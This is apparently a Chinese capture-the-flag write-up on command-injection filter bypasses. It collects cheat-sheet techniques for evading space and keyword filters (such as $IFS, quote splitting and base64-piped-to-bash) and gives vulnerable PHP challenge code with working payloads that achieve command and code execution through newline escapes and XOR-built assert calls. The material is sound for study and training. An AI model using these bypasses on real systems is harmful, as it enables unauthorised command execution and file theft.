CTF Web安全

[GXYCTF2/SUCTF/INCTF](命令执行Bypass)

Posted on 2020-01-02,7 min read

进入页面。就一个框。输入IP。就想到DVWA的命令注入。一般就&,&&,||,|,;执行命令

我这里用了;执行命令

看到有个flag.php,直接读取不行。
提示:fxck your space!
看来是空格被过滤了。使用$IFS$9绕过
提示:fxck your flag!
flag又被过滤
。那就先看看index.php

不能有完整的flag字符串。那就变量拼接一下

其他解题方法也挺多的。下面总结下:
过滤空格:

$IFS/
${IFS}
$IFS$9              
<                           cat<index.php   ls<index.php可以查看当前目录
<>                          Linux下可以。Web不行
{cat,flag.php}              Linux下可以。Web不行
%20                 
%09    
$a                          Linux变量未初始化。所以变量为空 l$as=ls

过滤关键字:

ca\t fla\g.php              反斜杠绕过
cat  fl''ag.php             两个单引号绕过
cat  'f''l''a''g''.''php'   
cat  "fl""ag.php"           双引号绕过
cat  "f""l""a""g"".""php"
echo Y2F0IGluZGV4LnBocA==|base64 -d|bash        base64编码绕过
echo 0x63617420696e6465782e706870|xxd -r|bash   16进制绕过
cat in[a-z]ex.php           正则匹配
cat index*                  通配符 
cat ?????.php               通配符,/bin/ls=/???/ls /bin/cat=/???/?at
a=fl;b=ag.php;cat $a$b      变量拼接绕过
cat f`echo $PATH|cut -c 32`ag.php               用cut取出$PATH中的第32个值。l,然后带入cat f`l`ag.php
$(printf "\x6c\x73")
${PWD:12:1}${SHELL:7:1}
从环境变量得到值。然后截取字符串执行
过滤尖括号
echo 1|tee result.txt

内联执行:
cat ls 将ls执行结果全部带入cat函数中当做参数。相当于cat *
Linux可执行的终端:

/bin/bash
/bin/sh
/bin/dash

第二题:

<?php
    highlight_file(__FILE__);
    @$a = $_GET['a'];
    @$b = $_GET['b'];
 // try bypass it
    if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
        $a = "";
        $a ='"' . $a . '"';
    echo "A:".$a."<br />";
    if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
        $b = "";
        $b = '"' . $b . '"';
    echo "B:".$b."<br >";
     $cmd = "file $a $b";
    var_dump($cmd);
    echo "<br >";
      str_replace(" ","","$cmd"); 
      @system($cmd);
?>

在源码中。可以看到。正则过滤了很多字符。如果匹配到。就将参数替换为空
最后拼接 为"file "a\" \"b""
aa和b都被双引号包括。
仔细查看正则过滤。发现\匹配的并不是\,由于\转义成了\,\|\就变成了|,包含|的字符就会被置空

由于\可以转义双引号。那么我们就能逃逸
当我们输入a=\&b=%0al\s%0a时。system执行的内容就变成了下面这样
"file "\" " l\s ""=="file " " "回车l\s回车" "
由于“被\转义。
一二两个双引号闭合了file
第三个双引号变成普通的双引号字符
第四五个双引号闭合了我们的命令。第一个%0a(换行)执行了file "
第二个换行执行了l\s
最后一个双引号就被忽略了。因为命令已经执行完毕

之后读取flag就完事了。用\绕过关键字
读取文件的其他命令

cat
tac
more
less
head
tail
nl
pr
tailf
static-sh /flag                如果flag中包含空格。将无法正常显示
paste /flag /etc/passwd
diff /flag /etc/passwd
od -a /flag
bzmore /flag
bzless /flag

第三题:

<?php

$input = $_GET['input'];

function check(){
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  unset($blacklist);
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
  echo "You can't use inner file" . "<br>";
}
else{
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

有两个参数可控
1:thilsfileisfilefileexists2:thilsfile,要经过is_file,file_exists 2:input,要匹配PHP内置函数
那么我们只要构造inputinput就行了 由于不能出现函数。那么就可以通过异或或取反这类操作。构造出一个a=_POST[a];eval($$a)
${~%A0%AF%B0%AC%AB}[a];eval($b);
介绍个小trips。eval\echo在PHP中属于语言结构而不是函数,一个eval函数只能执行一次

当然还能通过拼接字符串的方式去执行命令
定义一个变量。内容是以点拼接的函数最后调用变量+参数

加强版

<?php

$input = $_GET['input'];

function check(){
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(preg_match("/$blacklist/i", $input)){
    echo "Do you really you need that?" . "<br>";
    return true;
  }

  unset($blacklist);
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
  echo "You can't use inner file" . "<br>";
}
else{
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

在上一题的基础上增加了过滤
exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'
过滤了eval和[]{}还有~这三个关键点。我们不能直接通过[a]{a}来获取POST的值。
过滤了~,但没过滤,我们可以通过来构造_POST
没了eval还有assert。
POST本质上是个数组。我们可以通过current来获取当前数组的值

$a=%ff%ff%ff%ff%ff^%a0%af%b0%ac%ab;
//_POST
$b=$$a;
//$_POST
$c=c.u.r.r.e.n.t
//current
$d=$c($b)
//current($_POST)   取值
$e=a.s.s.e.r.t
//assert
$e($d)
//assert(current($_POST))

下一篇: GET命令执行漏洞[HITCON 2017]SSRFme→